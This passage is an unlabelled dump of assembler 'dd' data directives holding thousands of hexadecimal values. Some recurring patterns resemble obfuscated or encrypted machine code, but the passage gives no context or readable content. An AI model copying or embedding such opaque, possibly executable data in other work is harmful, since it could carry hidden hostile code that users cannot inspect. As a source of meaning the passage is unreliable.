28271ABEh, 0BA524650h, 5626035Dh, 835AD631h dd 248904ECh, 24048324h, 89575A04h, 0F98951F7h, 59084A89h dd 24148B5Fh, 81E18951h, 4C1h, 4C18100h, 87000000h, 8B5C240Ch dd 89512434h, 4C181E1h, 81000000h, 4C1h, 240C8700h, 543CE95Ch dd 9ECDFFF9h, 0C9902E78h, 7FB769EFh, 28C1B8A0h, 0C503060Eh dd 46E1E0FFh, 271B396Dh, 892373E1h, 4EB03DEh, 46E7CD65h dd 564E9h, 0A5E3CA00h, 0FEA0805Dh, 4B1D7B96h, 83C92E23h dd 0DF85E67Bh, 0F7EC66B7h, 0ABA6CE9Ah, 1DF01848h, 0D60B5301h dd 0CD42AAF0h, 0E276C82Bh, 0AE360303h, 5DE152F4h, 1D0303E2h dd 0E202B487h, 72420303h, 0E5E09A4Ah, 4F2BD517h, 523C2276h dd 7F72C7ABh, 193D4A17h, 0D62C31D1h, 0F4EE7C55h, 5168952h dd 4F07F139h, 96EC4D07h, 0BB2600C0h, 6FE20A5Eh, 0DD74117h dd 0C383D52Ch, 57A0187Eh, 50D47EFh, 942A15AFh, 0D4050D47h dd 0FA7CA4ECh, 0E553051Fh, 0A3767E58h, 884A155Dh, 844467EBh dd 0C02659B9h, 0A0E89C9Ah, 0FBA98558h, 361C7E93h, 0D83B16C0h dd 6E45D888h, 4AAE3C3Ah, 0F8AE8862h, 3F657D90h, 6F54639h dd 0F002050Dh, 382E15FCh, 59F5AFDBh, 73000000h, 441E44A2h dd 0CBED51A2h, 85AD050Dh, 54E863C5h, 71050DCBh, 0E8BE9417h dd 0CA2BB6A0h, 0EEF29086h, 187AA106h, 6BC68D94h, 14DAFDAh dd 8B000000h, 261046A2h, 1F759BBh, 6BEDB390h, 55ECC0C2h dd 62138FE7h, 3C364A0h, 6C74DA3Eh, 0A3CB91F1h, 623410E9h dd 6A10B0F4h, 7A2C04E5h, 0E87A57AAh, 849DFA27h, 6F4E6ED0h dd 0F26FE911h, 683C1596h, 13ECA6EEh, 50D80ABh, 0A593DBEBh dd 0B24CA032h, 39F1D651h, 0D80783Eh, 0C0083805h, 20031E56h dd 2D204870h, 4F898FD5h, 52CF95F2h, 72322472h, 27714FD2h dd 31109F6Dh, 26FC0D89h, 0DA788066h, 39657054h, 3DED9162h dd 174CD3D9h, 0BEAFDB19h, 87h, 1341A2BAh, 0E58B425h, 0FD41B254h dd 0CF050DCBh, 0A14A2FB7h, 0F2C2BED3h, 0D369D452h, 8130FC6Dh dd 0F090F3AFh, 6D4E2094h, 0B58C6D27h, 362B23E3h, 647949D5h dd 684CE71Ch, 4AAB3620h, 1F78F3D3h, 5F170149h, 0C5D92117h dd 99D258EFh, 3AAF503Fh, 2D7A10B0h, 94AFDB20h, 60h, 1341A250h dd 1E0DF325h, 8465F75Ah, 0CB273AEAh, 1F79C79Dh, 0DB1826Dh dd 4D050D40h, 2338FB65h, 0EA816727h, 61421C90h, 0A2512B33h dd 0A5261046h, 50DCB14h, 0A49729E3h, 50DCB12h, 0A6A26252h dd 366FB4Eh, 80C78D5Dh, 42AFDA6Bh, 2D7351A8h, 46F87B2Bh dd 6FAF23Fh, 1916E3Eh, 57000000h, 7E1442A2h, 0CBE35BA4h dd 93A3050Dh, 8EE475F3h, 28305ED8h, 9CCA2AC4h, 5B0D6BC6h dd 91F9A9DDh, 2096613Bh, 60050DCBh, 4C9AB050h, 8AB2E0C2h dd 0F0CA67D0h, 5A6A0F34h, 0AD657DDCh, 0AD3EC52h, 8984AC03h dd 57BFE7ADh, 0F65CBAh, 0AD3358Fh, 942EEA03h, 0AD313ABh dd 0A3635303h, 0A5BD4DA7h, 0DC3D97FFh, 108A52C2h, 3A370503h dd 804004F2h, 0C82AA5BDh, 0A0E89C9Ah, 85CB2BB6h, 5A520093h dd 8D6EA280h, 30A7829h, 0C9115969h, 0E21E2463h, 13DEBB5h dd 0F0490000h, 1B4BCD93h, 7F95914Bh, 0DA936C26h, 3A0F34F4h dd 3FEA500Ah, 592FD22Dh, 95DD83E1h, 80E673F5h, 475FB2DAh dd 0BBBDEBC4h, 8355C30Bh, 430349AEh, 18B298FEh, 0F97F2501h dd 0B81B1DCDh, 0FAAE8564h, 7C98487Ch, 0DA80E678h, 84C82900h dd 792F0792h, 93799131h, 0B5E1A3B4h, 317Bh, 7C95F900h dd 0DC926D27h, 3C050DCBh, 358902F4h, 43050DCBh, 0CF1ABD37h dd 4D01F2A8h, 0AD050DCBh, 0B81C7D85h, 84000000h, 1B1D4BA5h dd 0CA90F66Bh, 7F95601Ah, 0CBF34BB4h, 83B3050Dh, 15B6815Bh dd 0B50F3496h, 0F99A1C1Fh, 0EADA030Ah, 0E556E8A2h, 30AF951h dd 0CA805763h, 23DF1584h, 64F57313h, 0DD30580Eh, 26999FC5h dd 30A9997h, 2F05E4B0h, 17B7FF79h, 161F9F3h, 4BA8815Bh dd 0B3531305h, 253B15Bh, 0B1B0EF48h, 644C0938h, 2F7153AEh dd 3A18F97Fh, 1F77E254h, 2A15CF49h, 504B394h, 1471ECD4h dd 154DD640h, 0ECF41A9Fh, 94034108h, 0A968E7A5h, 0C882CAA3h dd 0A9FFDB36h, 4EB14AAh, 21AA5405h, 0F993F86Dh, 2EF494DCh dd 0BD01F294h, 0FD05049Eh, 471615B5h, 0BB0F36B5h, 9589638Bh dd 936C267Fh, 0F3FE0CCh, 88D83B16h, 8ECE008Eh, 8C6FB7B3h dd 0E8D88444h, 1893F36Eh, 772D553Bh, 0FB44BC9Ah, 3034543h dd 0D0B3303h, 8C418959h, 0C42AE0B6h, 0B29CC1E9h, 7E1A166h dd 1CCA1684h, 35BF1BC2h, 57EF48E2h, 1743EACAh, 84E27F2Fh dd 7B5BB6DEh, 51B62315h, 0AEA8FEDEh, 2AB8BEE6h, 0B14BDED6h dd 0CA9A1C1Fh, 0EADA43EAh, 0EACAD569h, 0FDAD9543h, 0A8890260h dd 0B954BCE4h, 20966159h, 6043EACAh, 4F2E2850h, 3, 0A2FF79F5h dd 0BE1B1D4Bh, 9504F258h, 0EC6DEBB9h, 0C455C395h, 0DEBBBDEBh dd 30A197FDh, 0E8B8DD3h, 63FE782Eh, 32D95F01h, 3D4268h dd 240C8900h, 5E08950h, 4, 42Dh, 24048700h, 242C895Ch dd 73AD68h, 241C8900h, 8904EC83h, 0ECB9240Ch, 0F77E6008h dd 0ABE981D1h, 897B91CDh, 8B5459CDh, 0C483241Ch, 4EC8104h dd 89000000h, 0E8892404h, 58084389h, 52241C8Bh, 0C281E289h dd 4, 4C281h, 14870000h, 2C8B5C24h, 0E3895324h, 4C381h dd 0C3810000h, 4 dd 5C241C87h, 0F94EB5E9h, 60F7AFFh, 87EB6E8Dh, 2E43B853h dd 0C503060Eh, 750BE0FFh, 0CDB7260Dh, 7F81225Fh, 0CDD10E44h dd 767A421Ch, 2D4A187Fh, 3FE86BC0h, 96670A5Ah, 0BCB255CFh dd 656A69C4h, 0B4837C3Fh, 0E80A3766h, 0F8EF1809h, 46E05243h dd 0D8013DFCh, 69A0767h, 0A96E52BFh, 39FA68FEh, 0C7202B2Fh dd 0F1686849h, 3B4A71F3h, 0A97E0354h, 1FEC18DFh, 700D5997h dd 7B3B4DB3h, 0D2D82F96h, 89480B5Fh, 3726035Ch, 8D8D744Dh dd 60E2FEFh, 9E8h, 385BF100h, 8E0AA0EAh, 0B58B0EF5h, 6070FB1h dd 418D895Ah, 6A06071Bh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 185DC357h, 6CD27D80h dd 0C771F497h, 7060585h, 744806h, 0E5BF6600h, 33EF81FDh dd 0C71D4822h, 7006985h, 6, 0D78B6600h, 22C9B5FFh, 0FE90607h dd 0B8000000h, 0EB0D9CD5h, 0C94CA05Ch, 79C388C3h, 95FF57EAh dd 60701E1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 0EBC35343h, 0FF006A08h, 7320195h, 0EBC08B06h, 0A54AE94Dh dd 3D291DC4h, 0EAFB4168h, 6EE57C01h, 0A1DB29D3h, 0AD9D4901h dd 710BA900h, 0C26950E6h, 324E9626h, 2A29D05Dh, 72FCF771h dd 0BBEB421Ah, 528FEF3Fh, 2AED27A8h, 1CCAD85Dh, 0BB2973C9h dd 42C61495h, 49BEEDFh, 9E067F6h, 4EB73D5h, 701872A3h dd 4DDE9h, 0C187EE00h, 1A4CA4B9h, 57011FF2h, 0AFF5D20Fh dd 0FBA98A47h, 9B084293h, 4F82EABEh, 1DC2474h, 0FA177F25h dd 0F1AEB69Ch, 0FB52E457h, 82120303h, 1E44A228h, 8254F644h dd 3F1234D9h, 2F08896Fh, 0E6FC1179h, 0D1470D65h, 6EEB6D95h dd 45D44208h, 0A23F396Fh, 0BA271147h, 0C701F75Dh, 0B57439B3h dd 2303DBD1h, 9EF8157Dh, 4EAA0C8h, 66235D4Eh, 300DDDE0h dd 0B9680D6h, 6B63BE28h, 42580D16h, 6A4E1C1Ah, 2A15AF82h dd 50DB594h, 213CECD4h, 9A779FC5h, 0EF60D6BCh, 50DB552h dd 0F0575DA5h, 0AFDAE993h, 811Ah, 44A2DE00h, 1DA7181Eh dd 38050DCBh, 168375DBh, 0B9ED6B31h, 0A88B4FA4h, 50DCB16h dd 30266E56h, 2E205BB2h, 0DD3A1A25h, 81CAEFC5h, 0AF947B71h dd 76AFDAC4h, 1, 2B04E5F2h, 0DE0648A8h, 0B498F958h, 0ADA0242h dd 8D8BDD37h, 0F462340Ch, 82580C65h, 0B631BFBCh, 8E5EAB11h dd 53CA29A8h, 7E362070h, 7051C036h, 98F82A2Ch, 7CC23D14h dd 3C050DA4h, 197DCCF4h, 0B799FB93h, 0E54B2AFh, 41A20CE6h dd 5CB42513h, 718B0C0Ah, 316742DFh, 2A8C8FC7h, 6A050DCBh dd 664E8A5Ah, 85EDBB94h, 32246A48h, 191F49A7h, 0C5DF5CB8h dd 0B9E1A593h, 9EC422BFh, 75DB3998h, 189D176Bh, 9D84686Ch dd 0AFDA69C6h, 876Dh, 41A2EB00h, 0EFF37913h, 9959B26Eh dd 0E63036D6h, 0F44BF34Ch, 3B0B050Dh, 0E0B6966Bh, 0E9C3C776h dd 5CB53411h, 0CB460E08h, 0F5B1A7E9h, 4FA8A5CDh, 23C51F19h dd 0DF46ED0h, 0F7D32E05h, 54A979A1h, 0DB2F297Fh, 3D6AEDC7h dd 0E4AFDAA8h, 62h, 1341A260h, 0DE59F325h, 50DCB58h, 0E5782818h dd 65DDB89h, 0F9D3AC92h, 8B80E8AAh, 0A535BFDBh, 0EB461C48h dd 6ED21C8Eh, 0A00FC347h, 0EAA0A878h, 0F66B3D17h, 651FCF95h dd 261046A2h, 0DCB14A5h, 0D029E305h, 0FAAAACF2h, 73C62E2Ah dd 69D7BD9Eh, 0A690C5FDh, 67EDBD4Eh, 0AFDB1820h, 1E7h dd 42A26D00h, 5FB72214h, 6E96C0DCh, 66389AE8h, 0DCB2195h dd 0B1516105h, 0B18F5F55h, 1F759FE7h, 1EB38C46h, 0BE0F34F0h dd 3ECA67B0h, 263BBD08h, 0E1579FC5h, 0A8FEDA37h, 470D65F8h dd 9EC4223Fh, 519D2798h, 6842030Ah, 0C68CEA84h, 35896A0Ch dd 7030A51h, 0BFEDD0Bh, 8CB4487Bh, 7959B4DCh, 1EF32513h dd 0AAB7573Dh, 8710064Ch, 2101D9D3h, 0CA89137Bh, 14B5E223h dd 180CE526h, 0AB9A71Fh, 51DFE703h, 0A5652ADAh, 0EA5Ah dd 7F959E00h, 0DA936C26h, 3A0F34F4h, 77CA0C0Ah, 809D4D1Bh dd 3E94FCA2h, 0FCA88564h, 75C94A7Ah, 35030ADEh, 0E2C05D0Dh dd 0C7DFBABCh, 0A63CA791h, 0F0A6BC4Eh, 804502E8h, 4CCCB5E1h dd 8000000h, 6D277C95h, 0DCBDC92h, 2F43C05h, 0DCB3589h dd 0BD374305h, 0F2A8CF1Ah, 0C9C6D258h, 0DCF44A5Fh, 0E66890C6h dd 7300E369h, 3F3CECC5h, 50D8F77h, 4A187A97h, 709BFA02h dd 1000000h, 258E6C3Bh, 5FBBAA05h, 734CC109h, 0E5FF6525h dd 0E77A2C04h, 2C58DE8Ah, 36B0D67Ch, 8D478FD5h, 349619B2h dd 47919F0Fh, 3A82DE72h, 4171EDBDh, 266C4AD7h, 7D2303DEh dd 96B900FBh, 849E030Ah, 12785E30h, 712220CAh, 0C52558DBh dd 0D1E10938h, 0B69CFA67h, 0D6DE2240h, 0CA80D533h, 36F51669h dd 9AE2D20Fh, 298D6E00h, 69030A95h, 95D38959h, 936C267Fh dd 0F3F9BE8h, 0CA32240Ah, 3E6F31D7h, 54C2F26Eh, 5FA7EDC5h dd 78FEA482h, 29EF2E87h, 0EDC7C3F9h, 0BCECC75Ah, 6B3111ECh dd 9A1C1FB1h, 0DA7515E0h, 0E047FF78h, 3F077515h, 653F57F7h dd 78FEA884h, 0E0D95DDEh, 0A9997515h, 465CA161h, 5ABB2610h dd 0B59100F6h, 448CDA3Ah, 3B6D47D2h, 614BAF3Dh, 0E0C96DCEh dd 0B9897515h, 0A10B6F71h, 5BA3E9C9h, 0D22FA086h, 3ED85E86h dd 0CD9DC323h, 38Ch, 0FF793400h, 1B1D4BA2h, 4F258BEh, 6DEBB995h dd 55C395ECh, 0BBBDEBC4h, 0A197FDDEh, 8B8DD330h, 0FE782E0Eh dd 0D95F0163h, 58545032h, 405h, 4E88300h, 5C240487h, 81E68956h dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 89562404h, 4C681E6h dd 81000000h, 4EEh, 24348700h, 243C895Ch, 0B868CDB8h, 3007257Eh dd 0E8C17E78h, 62E23504h, 0F750372Bh, 2D582414h, 0C928EED1h dd 243C8B54h, 5004C483h, 8B240481h, 8F6C6473h, 0BB530847h dd 2C3F1F81h, 540AC381h, 5F294025h, 3C8B5B08h, 0E1895124h dd 4C181h, 0C1830000h, 240C8704h, 2434FF5Ch, 4C48358h dd 0F94851E9h, 90B83CFFh, 3060E34h, 0C4E0FFC5h, 127E1881h dd 0B75C9C17h, 0FE495098h, 857D3D00h, 0A34758F6h, 1822620Bh dd 0D60E885Ah, 0A070BE57h, 0EB5DE35Bh, 9965E604h, 4F2E914h dd 0ECC30000h, 5BB954BCh, 1470EDF5h, 0CE273A42h, 829F729Ah dd 0F36F8ED6h, 0B9C197F0h, 0F31B4DA4h, 0E563C1Eh, 45ADF3D3h dd 69CD2ECAh, 290303FEh, 44A2C3B9h, 5CB9181Eh, 6440C3DDh dd 5880C432h, 66E96DEh, 0EFA5EBCBh, 3FC3412h, 50DCBBBh dd 9583CBFBh, 327A2C04h, 9FCAFACCh, 28F8247Bh, 2D7353CEh dd 3210E92Bh, 36DB63AAh, 478FB4C4h, 85EBA87h, 2D71EC52h dd 5ED9F504h, 8105A88Eh, 0D835142Bh, 6141DC8Ch, 0DC3ED33Bh dd 0D51D43A3h, 2076508Dh, 1B1EEC36h, 0BD9A9E98h, 0D93805C5h dd 33108177h, 0D6EEB6Dh, 0C317D147h, 0A6BAC4E9h, 0F4A2BC4Eh dd 4B1171ECh, 68E952CDh, 0C41E050Dh, 0E2A69F0h, 8CF1AFDBh dd 77000000h, 181E44A2h, 0DCB1DA7h, 89DF3805h, 54EA558Fh dd 14050DCBh, 8BD1312Ch, 0B53F5B8Dh, 45AFCBF0h, 0DA6B85C2h dd 0E6E349AFh, 6F039B17h, 7FED51A2h, 85ADFAF2h, 0BFE1C05Dh dd 0C25D0DB9h, 1, 0D646A206h, 0C8C2D04Fh, 56A17B85h, 50D49E0h dd 0EE6890A0h, 0D8891173h, 1F93BDDDh, 79284CCh, 0D352AF2Eh dd 337BA3F5h, 961E78C5h, 52BAECC4h, 5E0261F8h, 61FCACD8h dd 0A8815B01h, 0D45054Bh, 0BC02FD97h, 0FC050D15h, 0A26E14B4h dd 0B4251341h dd 8B0C0A5Ch, 3815E5CFh, 0E9C9046Ch, 0C824B5A3h, 0E65C49Eh dd 0F8A8DC5Ah, 0DD83E37Eh, 0B79DFE5Bh, 129AFC41h, 0EFC5D9ADh dd 0DA693B68h, 0BF59A7AFh, 14AEB60Eh, 671EE1A1h, 0DA000000h dd 782E04E5h, 9D98FE5h, 8B8DDB34h, 54AD2E0Eh, 0CB1DA192h dd 555D050Dh, 0CA73E52Dh, 0DB63DC76h, 9B050DCBh, 159FFBABh dd 0D43C6845h, 445DDC39h, 266E2610h, 0C940A130h, 0F1B5A3E9h dd 0A7BB4FC9h, 0E67FA4Dh, 93C08A5Ah, 3AAFDA69h, 47h, 1341A23Eh dd 0C5AB425h, 971D750Ah, 74DA980h, 0CB99FA47h, 46A2C9A3h dd 14A52610h, 35050DCBh, 0E8B8DDBh, 0B0F46228h, 191F455Dh dd 9C218BEFh, 0A54FBD57h, 96BB7C58h, 0CE0E4A4h, 0DABE3E05h dd 1C5AFh, 0A2030000h, 0B1E7C142h, 51C70F47h, 0BABCE2C0h dd 0EE0D42Ch, 0CA10782Eh, 6230129Ch, 0D288B0F4h, 34F0C861h dd 90F34E0Fh, 545C00C0h, 0DB1F77E2h, 0AD3E658h, 569EA603h dd 13415DBCh, 83FF6125h, 0EF6C76CFh, 752F27E7h, 3F2BBB94h dd 0ABAAD2E4h, 0CBFB7DA5h, 7B2B7156h, 5CDA80E6h, 0A4C59E3h dd 48AC8603h, 0E20A50B6h, 8B41176Fh, 5C0C52B6h, 31677FDAh dd 0AE065CC7h, 4890C6DCh, 873F38D2h, 0C7030A4Ch, 0DEA52FFFh dd 0A5B5E1F1h, 112h, 267F95A3h, 0F4DA936Ch, 0A3A0F34h dd 29B58D0Ch, 0BEFFE616h, 157DA516h, 2619AF8h, 0E40B3198h dd 0CCF40B5Bh, 0A2F6CF4Ah, 0DB8DE77Ah, 8373F993h, 5DE1529Dh dd 1D030AB7h, 88842B15h, 5C3D3BEBh, 0BD261046h, 273FCF25h dd 0C4836971h, 4BB5E212h, 5Ch, 277C9589h, 3DA89F6Dh, 383E6442h dd 0DDC3828Ch, 0D95AE0A0h, 50D8995h, 50CB4D75h, 50D89EEh dd 96BC698h, 0E553D147h, 0C5D1BC89h, 4E8A5A82h, 0F1A6A366h dd 0B0E6C65Bh, 1EB04A10h, 0D09991Dh, 39E9D905h, 0D09743Ah dd 44AC9405h, 6D75h, 2A15AF00h, 50D0994h, 463CECD4h, 6C267F95h dd 34963E93h, 0A0969E0Fh, 0D18BD131h, 95351B78h, 0DC82E07Dh dd 0FA5AE15Ah, 657D030Ah, 0B1E7FF8Fh, 104583A9h, 0A6A9F97Ah dd 69590938h, 40C735EFh, 0AC9FE901h, 350D10B0h, 0C1095FBAh dd 0BCEACA57h, 94C4DFBAh, 4BA131A2h, 0B0D53B3h, 0F5CD135Bh dd 690A58FFh, 9C1240B3h, 0D2E20F36h, 4E5308Ah, 64AE7E28h dd 9C9F356Eh, 0F3F94F6h, 59383E06h, 0E0791379h, 0D830D086h dd 54B22D05h, 53EB540Eh, 130303FEh, 827DFB23h, 15AA9FC2h dd 0CD9D1773h, 0CD47AFF5h, 0A176C82Bh, 7D571194h, 0BF6F572Bh dd 441E44A2h, 0A1ED51A2h, 85AD1194h, 25E5AB88h, 2B7156C3h dd 23C55F2Dh, 94A16ED0h, 46062E11h, 0F2D0AA02h, 0A98944ACh dd 0F4D029E3h, 5AF0B4A2h, 94A165D9h, 4D1D2511h, 392EBh dd 792E0000h, 1D4BA2FFh, 0F258BE1Bh, 0EBB99504h, 0C395EC6Dh dd 0BDEBC455h, 97FDDEBBh, 8DD330A1h, 782E0E8Bh, 5F0163FEh dd 895132D9h, 4C181E1h, 83000000h, 0C8704E9h, 3C895C24h dd 8116824h, 14890000h, 13366824h, 3C890000h, 35685624h dd 5E7E1271h, 0C42CC681h, 895787FBh, 5FFA89F7h, 3C8B545Eh dd 4C48324h, 50D08950h, 8E243481h, 8F6FB952h, 77810847h dd 0B9528E08h, 34FF586Fh, 0C4815F24h, 4, 5324148Bh, 0C381E389h dd 4, 8704C383h, 0E95C241Ch, 0FFF9432Eh, 2604CB50h, 61DAE570h dd 0E39D5B8h, 0FFC50306h, 30FB44E0h, 18139675h, 4B774C59h dd 507AE706h, 3C19977Eh, 0D4178914h, 27083C44h, 2A7CA3Ah dd 629FC87Ch, 82EA7B54h, 34579D0Bh, 5DE7176Dh, 83908E4Eh dd 0C05B787Dh, 121FBE7Bh, 0A25AE92Eh, 0B2560221h, 638D8D72h dd 66060E3Bh, 0C3EDCA81h, 1B418D89h, 6A0607h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0E4C5E6C3h dd 92995F41h, 9D2BD5A9h, 6072171h, 60585C7h, 5BAC0607h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 66EA4EC3h, 8D891195h, 60730F1h, 6985C7h dd 607h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 5398A4C3h, 0C74A4302h, 8BEACC61h dd 7006DBDh, 11B5FF06h, 0FF060723h, 701E195h, 0BE906h dd 0CE970000h, 3EC430D0h, 35F8F9CEh, 0FF006A9Eh, 7320195h dd 0EBC08B06h, 9DE9837Ah, 5794420Dh, 3C022227h, 85D46F95h dd 2109C451h, 599CE115h, 0F938A0C8h, 0C3226E32h, 8A339B9Bh dd 733B9E4Eh, 0AD88DD83h, 0FCF5C43Dh, 6DF6DA48h, 0DC73E612h dd 0A0C7A35Ah, 0A3565A01h, 0F52EF7E3h, 0C0DA3AAEh, 0FC026216h dd 1EE3BC2Fh, 4C4AA6E0h, 0CF2037FBh, 1BC64F92h, 98945D4Eh dd 4F17E463h, 93B34475h, 7BF53D24h, 246B9348h, 707F0795h dd 0E5076BA4h, 0EB9A9447h, 6C85C404h, 551E92Ch, 784F0000h dd 2F05D820h, 0E0FC1179h, 52B3AEB6h, 0E6BE60Eh, 67E3325Ah dd 2D35637Ch, 678FD130h, 0B2DA88EAh, 0C911475Fh, 0FD41B256h dd 0BD0303F0h, 5AA57FD5h, 303F0E4h, 16CC9CA4h, 7D2B04E5h dd 7656CBFBh, 0AE7E3620h, 2B2D7353h, 0AA954DAEh, 50DCB14h dd 6E246C54h, 0CBD36BD4h, 7FE1050Dh, 786426D0h, 66D1730Fh dd 50D5CD0h, 0A278A090h, 0D5CED51h, 0C585AD05h, 2C72508Dh dd 0E8B89B76h, 43A33E38h, 5ABE1B1Dh, 559DC321h, 74785AE3h dd 0A6627CDDh, 0D5CE155h, 6991A105h, 0E7B9A7EFh, 9AC3AEA3h dd 156DF090h, 0C82A274Fh, 839F729Ah, 0C5223FD5h, 30266C4Ah dd 9A9C4C74h, 15E6243Fh, 50DDCA1h, 4EF043E1h, 0E050DDCh dd 363FE26h, 4523155Dh, 8BE7777Dh, 7A58B5DDh, 5EF02214h dd 0DDC59DDh, 34291905h, 0DA8A8CDAh, 0DC90290Ah, 1367050Dh dd 4FAB8699h, 0C4834919h, 4BAFDA82h, 7Ah, 0F043E589h, 50DCB4Eh dd 9B66260Eh, 0E863D5BBh, 50DCB54h, 0C84E1271h, 32246849h dd 43684C54h, 6FF2FA18h, 0AFDA6B28h, 10EFh, 9BF45500h dd 0AE894BCDh, 0FAF23F08h, 90307848h, 1046A2EAh, 0F759BB26h dd 0EDB39001h, 138CEE6Bh, 33256D33h, 191F45A6h, 0EBD024BEh dd 6078C65Ah, 20BA19BCh, 36A214E7h, 0D2E2050Dh, 169EFAAAh dd 0D23A6C44h, 0DB71273Fh, 6C3C6246h, 41A28E64h, 59F32513h dd 0DCB58DEh, 0E7FD1805h, 0C70F47B1h, 0CB8C320Dh, 0E4CC050Dh dd 95FBD924h, 4AA230A3h, 0F90157B0h, 0DE580E64h, 0A7F83604h dd 1CC223BDh, 0C197F14Ch, 45AFA357h, 0DAEF95C2h, 8F3CAFh dd 0E5380000h, 0AB7B2D04h, 752F7556h, 0CBDE60D3h, 439E050Dh dd 5DF73F61h, 0DCB5CE2h, 74141C05h, 0E9C920F2h, 349AEA3h dd 0E9EFE43h, 369DB608h, 7F139EBh, 6D8DCB6h, 0FA177F25h dd 95391E99h, 0CDF88B35h, 165E86FAh, 0C50B120h, 0E3B58F0Ah dd 0D88EE475h, 1EBEF5Eh, 0E0D4C8BCh, 0DAC82A79h, 4791AFh dd 0A2570000h, 0B4251341h, 750A0C5Ah, 0EE80971Dh, 0DCBA90Dh dd 9D9E905h, 0D78DDB34h, 8AB42369h, 8F6BD992h, 0A7BAA4D7h dd 94FCACBDh, 1046A21Eh, 0CB14A526h, 29E3050Dh, 0FDADF3D0h dd 470C1399h, 0CEAFDA6Bh, 1, 0F043E50Ah, 50DCB4Eh, 9B66260Eh dd 0EC6DEBBDh, 0CB56C096h, 3B8461E9h, 7750BC79h, 6948C94Fh dd 98753127h, 75233CBFh, 5EB4CB4Dh, 950F5156h, 5C0C5AB4h dd 0FADAB438h, 0A8BE44ACh, 1C189E99h, 6858050Dh, 20896A20h dd 800F3427h, 0FA141AB0h, 66378F65h, 7FDA5C0Ch, 0EE50A367h dd 0AE030A41h, 0DB365E86h dd 71FF95FBh, 731F16Ch, 0AE885814h, 0A7A8B2Dh, 44AAE03h dd 2CAF8712h, 0DE5880D6h, 0C3E8CC14h, 0C3565EB4h, 0B3900B6Eh dd 0F33B6BEDh, 0BC814105h, 75E8F0A6h, 0BC9D371Dh, 4E06F0A6h dd 0D939989Eh, 40128573h, 0EEB4926Ch, 896A0C86h, 30A7A35h dd 0F79D4D75h, 0B5E21C90h, 11817h, 7F95DD00h, 0DA936C26h dd 3A0F34F4h, 9BF9500Ah, 430343B5h, 9D1E74E5h, 792F0584h dd 2F0CCF31h, 0DA628995h, 0BF974A92h, 94F26FE9h, 8BCF48CEh dd 23694921h, 4CAF41DBh, 30AF5EAh, 0F50BB38Ch, 7B4B030Ah dd 5CB1BF87h, 0EE5421EEh, 0CEB55F0Fh, 55B5E238h, 55h, 0D917E593h dd 8E0990E0h, 0FB7805Ah, 4F050DE6h, 646DA767h, 6EC3653Fh dd 9C5C810Dh, 0B07D8FC1h, 135BD888h, 0D5050D68h, 687EC033h dd 0F63E050Dh, 9B5CAA56h, 15350274h, 0FB74E22Ah, 50DDF43h dd 0C72D35h, 7FF892C1h, 50DDF37h, 0B687EFD7h, 6Dh, 267F95C2h dd 37B68D6Ch, 87478FD9h, 96A902FDh, 39090F34h, 327B9D63h dd 0A920B622h, 84E27FF9h, 7A1CB6DEh, 0A2D45F9h, 6D3D0503h dd 6AECB290h, 0A2E4AF1h, 9F156D03h, 59A1F7CFh, 580E6EC3h dd 5CF696DEh, 44B76D36h, 9386992h, 65F46252h, 0B3D1470Dh dd 448245AFh, 24FA451Fh, 0C20F3652h, 2D77CF28h, 0F37030Ah dd 4B93A35Fh, 267F95F1h, 0C730CA6Ch, 50DCB7Fh, 0D457F73Fh dd 0F3F8F02h, 9504F2C2h, 528FD7BDh, 0B7282E74h, 2DE53C0Ch dd 142B8105h, 2526F26h, 0A9FA0C07h, 0A38D5024h, 0E7A0AED6h dd 28819EE1h, 3313EEBEh, 7B1DB76Dh, 618546F8h, 3D3E0629h dd 29618579h, 31590939h, 0FBA1869Bh, 8499497Dh, 85D32DAEh dd 0ADABD393h, 9781D72Ch, 340BE1F9h, 1E516BC6h, 0FDFC664h dd 668ED432h, 53C58BEBh, 33Ah, 0FF794600h, 1B1D4BA2h, 4F258BEh dd 6DEBB995h, 55C395ECh, 0BBBDEBC4h, 0A197FDDEh, 8B8DD330h dd 0FE782E0Eh, 0D95F0163h, 77496832h, 0C890000h, 0E1895124h dd 4C181h, 0E9810000h, 4, 5C240C87h, 68242C89h, 5571h dd 56240C89h, 7C0220BEh, 0CDC68162h, 53A39239h, 0DD89F389h dd 8B545E5Bh, 0C481240Ch, 4, 0E9895150h, 8959C889h, 0FF580841h dd 83592434h, 34FF04C4h, 0C4835D24h, 3C40E904h, 0F0DFFF9h dd 0B8FF2B53h, 60E40D8h, 0E0FFC503h, 142BD729h, 7B38E3F7h dd 47F9A24h, 7A27C4E1h, 4263E1DDh, 695FDE6Eh, 6CECB87Bh dd 29E301CBh, 4B57BB01h, 41ADCF53h, 4894A7F5h, 7927C931h dd 695ECC0h, 169D3E47h, 59B2E749h, 1E1DDFABh, 28F5C993h dd 7529EEFCh, 68F063CEh, 52B38C6Fh, 7D135177h, 7A54F3CDh dd 4EB0EE6Eh, 2E25E82Bh, 61A812C8h, 486863F2h, 0DFE925Dh dd 4AF92010h, 427C761Fh, 5D195066h, 4C2D5BF0h, 532DDED7h dd 98C704EBh, 57E913E2h, 70000005h, 2E234B1Dh, 0E17C84CAh dd 5489D187h, 0CC1297Fh, 0FC1D6533h, 50046182h, 0AAFED508h dd 0E5B38F42h, 3C62409Dh, 5ED97BD4h, 3038AD8h, 0A2B20898h dd 0FE181E44h, 0DB5D0363h, 0E54B6ABh, 0B18C5C08h, 65F80054h dd 40D1470Dh, 5F3A3C62h, 98251345h, 0CE24B63Eh, 819D7098h dd 74568BD3h, 4AA9282Eh, 0D0721006h, 95351B79h, 56A47B71h dd 40A3CDB9h, 0E06E2610h, 5909D95Ah, 887AEAC4h, 0C70D57h dd 0C51860A8h, 3EB1A7EDh, 50D6D7Dh, 9D84688Ah, 0AFDB11B6h dd 977Dh, 4E5FB00h, 0C8FC7A2Ch, 672D0518h, 0CBBA7EF1h dd 2949050Dh, 0D29E6CC3h, 0E18E4B20h, 749A8A5h, 0DFB55511h dd 0AFDAD378h, 0EF57A07Ah, 0AF050D97h, 178C787h, 0FC000000h dd 7A1046A2h, 101C8EE7h, 72EF89D1h, 831E1840h, 57CAF2A6h dd 672F297Fh, 0F0D041A7h, 